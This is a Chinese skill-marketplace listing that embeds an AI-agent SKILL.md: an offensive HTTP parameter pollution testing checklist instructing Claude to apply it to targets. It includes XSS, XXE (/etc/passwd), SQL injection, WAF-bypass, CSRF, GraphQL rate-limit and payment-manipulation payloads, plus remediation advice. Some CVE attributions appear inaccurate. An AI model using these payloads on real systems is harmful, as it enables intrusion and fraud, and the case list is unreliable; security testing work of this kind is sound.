参数污染

SKILL运维和基础设施
运维和基础设施 未标注权限 许可证不明确
安装这个技能

参数污染专用技能,帮助AI Agent高效完成相关任务。

一句话选型结论

按资料字段整理

参数污染是运维和基础设施类的 Agent Skill,安装方式未标注,权限级别未标注,许可证不明确,有可直接复制的安装命令。技能本质是给模型读的说明书,效果取决于模型与客户端;装完先用一个小任务验证,再放进正式流程。

分类运维和基础设施 安装方式未标注 权限级别未标注权限 许可证许可证不明确
累计安装 未标注 本周 未标注
GitHub 星标 未标注 仓库 未标注
下载量 未标注 技能市场下载数
权限级别 未标注权限 安装前请确认风险范围
许可证 许可证不明确 未说明

安装

未标注
在支持 Skills 的客户端里执行,装完问一句「你有哪些技能」验证
skillhub install user_3c6cb52e/parameter-pollution-3xkw
  1. 1
    确认客户端支持

    确认你的客户端支持 Skills(Claude、Codex、Cursor 等),并升级到较新的版本。

  2. 2
    拿到技能文件

    执行上面的命令安装;也可以把仓库里的 SKILL.md 手动放进客户端的 skills 目录。

  3. 3
    刷新技能列表

    重新打开客户端,或刷新技能列表,让新放进来的技能被加载。

  4. 4
    验证是否生效

    问一句「你有哪些技能」,确认列表里出现它,再拿一个小任务试跑。

技能档案

运维和基础设施
字段来自技能仓库与公开索引,中文说明由本站标注
作者 / 维护方user_3c6cb52e仓库 未标注 · 版本 未标注
宿主客户端未标注技能可被这些客户端加载
安装方式未标注安装包 community
权限级别未标注权限安装前请确认风险范围
许可证未说明许可证不明确,商用前请自行确认条款
仓库可用性available技能仓库当前是否可访问
最近核验未标注上游最后核验时间 · 数据更新 1791622570
正文体量17.0 KBSKILL.md 原文大小,越大说明说明书写得越细

典型使用场景

3 类
按分类整理的常见用法,具体以 SKILL.md 为准
查服务与日志

按现象定位服务状态与日志线索。

写部署与巡检脚本

把重复的部署、巡检写成脚本。

故障排查

按步骤排查网络、依赖与配置。

选择建议

装之前先看这几条
按条目字段给出的判断,不替你决定用不用

值得选的地方

  • 有可直接复制的安装命令,不用自己翻文档找入口。

先想清楚的地方

  • 没有标注权限级别,实际能做什么要装好后确认。
  • 许可证不明确,商用或二次分发前先到仓库确认条款。
  • 没有做站内核验,内容以作者仓库为准。
  • 技能只是说明书,实际效果取决于模型与客户端,装完先用小任务试一遍。

更适合

  • 需要在运维和基础设施场景里给模型补一套做法的人。
  • 愿意先读一遍 SKILL.md、确认它会让模型做什么的人。

不太适合

  • 对许可证要求很严、必须明确可商用的人。
  • 只想装完就自动变强、不打算看说明书的人。

同类对比

6 个同类
同分类里挑最接近的几条,字段以各自详情页为准
技能权限级别安装方式累计安装宿主客户端安装命令
参数污染当前 未标注权限 未标注 未标注 未标注 有
Azure 部署 调用外部服务 GitHub 仓库 664.2 万 Codex、Claude、Cursor 有
Azure diagnostics 问题管理 调用外部服务 GitHub 仓库 657.6 万 Codex、Claude、Cursor 有
Azure aigateway 部署 调用外部服务 GitHub 仓库 655.3 万 Codex、Claude、Cursor 有
Azure AI 搜索 调用外部服务 GitHub 仓库 651.4 万 Codex、Claude、Cursor 有
Azure Cloud migrate 部署 调用外部服务 GitHub 仓库 650.7 万 Codex、Claude、Cursor 有

SKILL.md 全文

17.0 KB
模型实际读到的说明书原文,来自技能仓库

SKILL: HTTP Parameter Pollution (HPP)

Metadata

  • Skill Name: parameter-pollution
  • Folder: offensive-parameter-pollution
  • Source: https://github.com/SnailSploit/offensive-checklist/blob/main/parameter-pollution.md

Description

HTTP parameter pollution (HPP) checklist: duplicate parameter injection, backend vs frontend parsing differences, WAF bypass via HPP, server-side vs client-side HPP, and practical exploitation patterns. Use when testing web applications for parameter handling flaws.

Trigger Phrases

Use this skill when the conversation involves any of:
parameter pollution, HTTP parameter pollution, HPP, duplicate parameter, WAF bypass, parsing differences, server-side HPP, client-side HPP, parameter injection

Instructions for Claude

When this skill is active:
1. Load and apply the full methodology below as your operational checklist
2. Follow steps in order unless the user specifies otherwise
3. For each technique, consider applicability to the current target/context
4. Track which checklist items have been completed
5. Suggest next steps based on findings


Full Methodology

HTTP Parameter Pollution (HPP)

Mechanisms

HTTP Parameter Pollution (HPP) is a web attack technique that exploits how web applications and servers handle multiple occurrences of the same parameter name. When a web application receives duplicate parameters, different technologies process them differently:

flowchart TD
    subgraph "HTTP Parameter Pollution"
    A[Multiple occurrences of same parameter] --> B{Server Technology}
    B -->|ASP.NET/IIS| C[Uses first occurrence]
    B -->|PHP/Apache| D[Uses last occurrence]
    B -->|JSP/Tomcat| E[Uses first occurrence]
    B -->|Perl CGI| F[Concatenates with comma]
    B -->|Python/Flask| G[Builds array of values]
    B -->|Node.js/Express| H[Uses first occurrence]
    end

Parameter Handling Behaviors

  • ASP.NET/IIS: Uses the first occurrence of the parameter
  • PHP/Apache: Uses the last occurrence of the parameter
  • JSP/Tomcat: Uses the first occurrence of the parameter
  • Perl CGI/Apache: Concatenates all occurrences with a comma delimiter
  • Python/Flask: Builds an array of values
  • Node.js/Express: Uses the first occurrence by default

Notes and modern caveats

  • Node.js express uses either querystring (first-wins) or qs (arrays/last-wins). app.set('query parser', 'extended') changes behavior. Many middlewares assume param[]=a&param[]=b for arrays; duplicates without [] can produce surprising results.
  • Spring MVC/Spring Boot binders often collect duplicates into lists; API gateways (Kong, APIGEE, NGINX, Cloudflare) may collapse/normalize differently than backends.
  • JSON duplicate keys: most parsers accept last-wins; some gateways reject duplicates while backends accept, creating precedence gaps.
  • Cookies: duplicate cookie names and comma/semicolon handling vary by proxies/agents.

HPP attacks leverage these inconsistencies in parameter handling across application layers, servers, proxies, and frameworks. Two main types of HPP exist:

  1. Server-side HPP: Exploiting the server's handling of multiple parameters
  2. Client-side HPP: Manipulating parameters that are later processed by client-side code

Hunt

Identifying HPP Vulnerabilities

sequenceDiagram
    participant Attacker
    participant WebApp
    participant Backend

    Attacker->>WebApp: Request with duplicate parameter<br/>param=safe&param=malicious
    Note over WebApp: Layer 1 processes first value
    WebApp->>Backend: Forward request to backend
    Note over Backend: Layer 2 processes last value
    Backend->>WebApp: Process with malicious value
    WebApp->>Attacker: Response

Testing Parameter Handling

  1. Identify forms and request parameters
  2. Test duplicate parameters with different values:

```
// Original request
https://example.com/search?param=value1

// Test request
https://example.com/search?param=value1&param=value2
```

  1. Observe application behavior
  2. Identify which value is used (first, last, concatenated)

Vulnerable Scenarios

  • Parameter Overriding: Search for places where parameters might be overridden
  • Request Proxies: Applications forwarding requests to other services
  • Query String Processing: Applications that process query strings manually
  • Multiple-Layer Processing: Applications where parameters pass through multiple layers
  • OAuth/SAML Flows: Authentication flows where parameters may be manipulated

Testing Techniques

URL Parameter Pollution

# Original URL
https://target.com/page?parameter=original_value

# Polluted URL
https://target.com/page?parameter=original_value&parameter=malicious_value

Form Parameter Pollution

  1. Intercept a legitimate form submission
  2. Add duplicate parameters with different values:

```
// Original POST body
parameter=original_value

// Modified POST body
parameter=original_value&parameter=malicious_value
```

Hybrid Parameter Pollution

Combining parameters in both URL and POST body:

// URL
https://target.com/page?parameter=url_value

// POST body
parameter=body_value

JSON Parameter Pollution

Testing duplicate keys in JSON objects:

{
  "parameter": "value1",
  "parameter": "value2"
}

Also test:

Cookie: role=user; role=admin
X-Role: user
X-Role: admin

Observe which value the application trusts.

GraphQL Parameter Pollution

GraphQL queries can be polluted through aliasing, batch mutations, and duplicate variables:

# Alias pollution - bypass rate limits
query {
  a: user(id: 1) {
    name
    email
  }
  b: user(id: 2) {
    name
    email
  }
  c: user(id: 3) {
    name
    email
  }
  # ... repeat to z or beyond
}

# Variable pollution
query ($id: Int!, $id: Int!) {
  user(id: $id) {
    name
  }
}

# Batch mutation pollution
mutation {
  a: redeemCoupon(code: "SAVE50") {
    success
  }
  b: redeemCoupon(code: "SAVE50") {
    success
  }
  c: redeemCoupon(code: "SAVE50") {
    success
  }
}

WebSocket Parameter Pollution

WebSocket connections can carry polluted parameters in the upgrade request or message payloads:

GET /chat HTTP/1.1
Host: vulnerable.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13

# URL with polluted params
ws://vulnerable.com/chat?token=valid&token=malicious&room=1&room=admin
// WebSocket message payload pollution
{
  "action": "sendMessage",
  "room": "public",
  "room": "admin",
  "message": "test"
}

Parameter Array Notation Pollution

Different frameworks handle array notation differently, creating pollution opportunities:

# PHP - expects brackets
param[]=value1&param[]=value2

# Express (qs parser) - bracket optional
param=value1&param=value2

# Rails - numeric indices
param[0]=value1&param[1]=value2

# Mixed notation confusion
param=single&param[]=array1&param[0]=indexed

Testing strategy:

  1. Test with param=a&param=b (no brackets)
  2. Test with param[]=a&param[]=b (array notation)
  3. Test with param[0]=a&param[1]=b (indexed)
  4. Mix notations to confuse parsers

Parameter Cloaking

Using encoding and case variations to bypass filters:

# URL encoding variations
param=value1&par%61m=value2
param=value1&PARAM=value2

# Double/triple encoding
param=value1&par%2561m=value2

# Unicode normalization
param=value1&pαram=value2  # Greek alpha instead of 'a'

# Null byte injection (legacy)
param=value1&param%00=value2

Vulnerabilities

Common HPP Vulnerabilities

graph LR
    subgraph "HPP Attack Vectors"
    A[HTTP Parameter Pollution] --> B[Access Control Bypass]
    A --> C[Request Forgery Enhancement]
    A --> D[Data Manipulation]
    A --> E[API Vulnerabilities]

    B --> B1[Parameter Override]
    B --> B2[Permission Escalation]

    C --> C1[CSRF Token Bypass]
    C --> C2[SSRF Augmentation]

    D --> D1[SQL Query Manipulation]
    D --> D2[Filter Evasion]

    E --> E1[Parameter Precedence]
    E --> E2[OAuth Manipulation]
    end

Access Control Bypass

  • Parameter Override: Overriding security-related parameters
    https://example.com/admin?access=false&access=true
  • Permission Escalation: Adding administrative parameters
    https://example.com/profile?user=victim&user=admin

Request Forgery Enhancement

  • CSRF Token Bypass: Duplicating anti-CSRF tokens
    https://example.com/transfer?token=valid_token&token=random_value&amount=1000
  • SSRF Augmentation: Overriding restricted URLs
    https://example.com/fetch?url=safe.com&url=internal.server

Data Manipulation

  • SQL Query Manipulation: Influencing SQL queries
    https://example.com/products?category=1&category=1 OR 1=1
  • Filter Evasion: Bypassing input filters
    https://example.com/search?q=safe_value&q=<script>alert(1)</script>

API Vulnerabilities

  • Parameter Precedence Confusion: Different parameter precedence between API gateway and backend
  • GraphQL Parameter Pollution: Duplicate variables in GraphQL queries
  • OAuth Parameter Manipulation: Manipulating OAuth redirect flows
  • Header/Cookie Pollution: Conflicting header values across CDN → WAF → app layers

Impact Scenarios

Authentication Bypass

# Application authenticates using the first parameter but authorizes using the last
https://example.com/login?role=user&role=admin

WAF Bypass

# WAF checks the first parameter, backend processes the last
https://example.com/search?q=safe&q=<script>alert(1)</script>

XML External Entity (XXE) via HPP

# Bypassing XML filtering by parameter pollution
https://example.com/upload?xml=safe&xml=<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>

API Gateway vs Backend Precedence

# Gateway picks first id, backend picks last id -> IDOR/AC bypass
/api/user?id=123&id=999

Methodologies

Tools

  • Burp Suite Pro: Parameter pollution testing via Repeater and Intruder
  • OWASP ZAP: HTTP fuzzer for parameter testing
  • Param Miner: Extension for discovering hidden parameters
  • HPP Finder: Specialized tool for HPP vulnerability detection
  • Burp Repeater (Parallel): Validate precedence across layers quickly
  • Schemathesis: Fuzz OpenAPI-defined endpoints for duplicate-field handling

Testing Methodology

flowchart TD
    A[HPP Testing Methodology] --> B[Initial Discovery]
    A --> C[Exploit Development]
    A --> D[Impact Assessment]

    B --> B1[Map application parameters]
    B --> B2[Test duplicate parameters]
    B --> B3[Document behavior]

    C --> C1[Access control testing]
    C --> C2[Security control bypass]
    C --> C3[API security testing]

    D --> D1[Authentication bypass]
    D --> D2[Authorization bypass]
    D --> D3[Data manipulation]

Initial Discovery

  1. Map all application parameters (URL, form, cookie, header)
  2. Test each parameter with duplicates to observe behavior
  3. Document how different application components handle parameter duplication

Exploiting HPP for Web Application Testing

  1. Access Control Testing:

```
# Test privileged parameter override
https://example.com/admin?admin=false&admin=true

# Test user context override
https://example.com/profile?id=attacker&id=victim
```

  1. Security Control Bypass:

```
# Test CSRF token pollution
token=legitimate&token=fake

# Test parameter validation bypass
param=valid_value&param=malicious_value
```

  1. API Security Testing:

```
# Test API parameter handling
/api/v1/user?id=123&id=456

# Test with different content types
Content-Type: application/json
{"id": "123", "id": "456"}
```

  1. HTTP Request Smuggling via HPP:

# Testing inconsistent interpretation Transfer-Encoding: chunked Transfer-Encoding: identity

  1. Header/Cookie Pollution:
Cookie: session=abc; session=attacker
X-Forwarded-Proto: http
X-Forwarded-Proto: https

Real-World Test Cases

E-commerce Application Testing

# Price manipulation
https://shop.com/checkout?price=100&price=1

# Quantity override
https://shop.com/cart?quantity=1&quantity=100

Banking Application Testing

# Amount parameter pollution
https://bank.com/transfer?amount=100&amount=10000

# Recipient override
https://bank.com/transfer?to=legitimate&to=attacker

CMS Admin Testing

# Permission bypass
https://cms.com/edit?permission=read&permission=write

# User impersonation
https://cms.com/admin?user=admin&user=victim

Social Sharing Button Parameter Pollution

A specific case of parameter pollution that affects social sharing functionality:

  1. Testing Methodology:

```
# Original share URL
https://target.com/article

# Polluted share URL
https://target.com/article?u=https://attacker.com&text=malicious_text
```

  1. Common Parameters:
    - u or url: The URL to be shared
    - text: Custom text for the share
    - title: Title of the shared content
    - description: Description for the shared content

  2. Impact:
    - Redirect users to malicious sites
    - Modify shared content
    - Social engineering attacks
    - Brand reputation damage

  3. Testing Steps:
    - Identify social sharing functionality
    - Analyze original share parameters
    - Append malicious parameters
    - Test each social platform separately
    - Verify if malicious content appears in share preview

Real-World Cases and CVEs

Notable Parameter Pollution Vulnerabilities

  1. CVE-2021-41773 - Apache HTTP Server Path Traversal:
    - Parameter pollution in URL path normalization
    - Multiple encoded path segments bypassed access controls
    - Impact: Remote code execution via CGI scripts

  2. CVE-2018-8033 - Apache OFBiz:
    - Parameter pollution in authentication bypass
    - Duplicate parameters in login form bypassed security checks
    - Impact: Administrative access without credentials

  3. HPP in OAuth Implementations (Multiple Vendors):
    - Duplicate redirect_uri parameters in OAuth flows
    - Gateway checked first parameter, backend used last
    - Impact: Account takeover via malicious redirect

  4. API Gateway vs Backend Precedence (Bug Bounty):
    - AWS API Gateway processed first id parameter
    - Backend Lambda function processed last id parameter
    - Impact: IDOR allowing access to other users' data

  5. GraphQL Rate Limit Bypass (Multiple Platforms):
    - Aliased queries bypassed per-query rate limits
    - 100+ identical operations in single request
    - Impact: Account enumeration, resource exhaustion

  6. WAF Bypass via HPP (Generic):
    - WAF inspected first parameter for XSS/SQLi
    - Backend processed last parameter
    - Impact: Complete WAF bypass for injection attacks

Impact Ratings

  • Critical: HPP enables authentication/authorization bypass or RCE
  • High: HPP allows WAF bypass, payment manipulation, or privilege escalation
  • Medium: HPP bypasses rate limiting or validation controls
  • Low: HPP causes logic errors with minimal security impact

Common Bug Bounty Targets

  • E-commerce checkout flows (price/quantity parameters)
  • OAuth/SAML redirect parameters
  • API endpoints with pagination/filtering
  • File upload with filename/path parameters
  • Social sharing functionality
  • Payment processing integrations
  • Multi-step wizards/forms

Remediation Recommendations

  • Consistent Parameter Handling: Implement consistent handling across all application layers
  • Parameter Validation: Validate parameters before processing
  • Framework Awareness: Understand how your framework handles duplicate parameters
  • Web Application Firewall: Configure WAF to detect parameter pollution attempts
  • API Gateway Rules: Implement rules to reject duplicate parameters
  • Canonicalization: Convert parameters to a standard form before processing
  • Schema Enforcement: Use JSON Schema/OpenAPI validation to reject duplicates and unexpected fields
  • Drop Duplicates at the Edge: Normalize parameters at CDN/API gateway and log events
  • Explicit Parser Settings: e.g., in Express set a custom query parser and explicitly forbid duplicates without [] suffix for arrays
  • GraphQL Query Complexity Limits: Enforce maximum query depth and alias counts
  • WebSocket Frame Validation: Parse and validate WS message structures consistently with HTTP parameter handling

常见问题

5 问
答案由本站依据条目字段整理
参数污染怎么安装?

在支持 Skills 的客户端里执行:skillhub install user_3c6cb52e/parameter-pollution-3xkw。安装方式为未标注。装完刷新技能列表或重开客户端。

参数污染支持哪些客户端?

资料没有标注宿主客户端,但只要客户端支持 Skills(Claude、Codex、Cursor 等),一般都能加载。

参数污染权限高吗,安全吗?

权限级别为未标注权限。安装前先看它会读取或写入哪些内容。

参数污染收费吗?

本站不代收费用,也没有标注具体价格。是否收费取决于技能本身和所用的模型或客户端,正式使用前按作者说明确认。

参数污染用什么许可证?

许可证标注为 未说明(许可证不明确)。商用或二次分发前请到仓库确认条款原文。

热门专题

按场景挑技能
全部专题 →

技能内容以作者仓库为准;分类、权限级别与许可证状态的中文说明为中文整理,最近核验 未标注。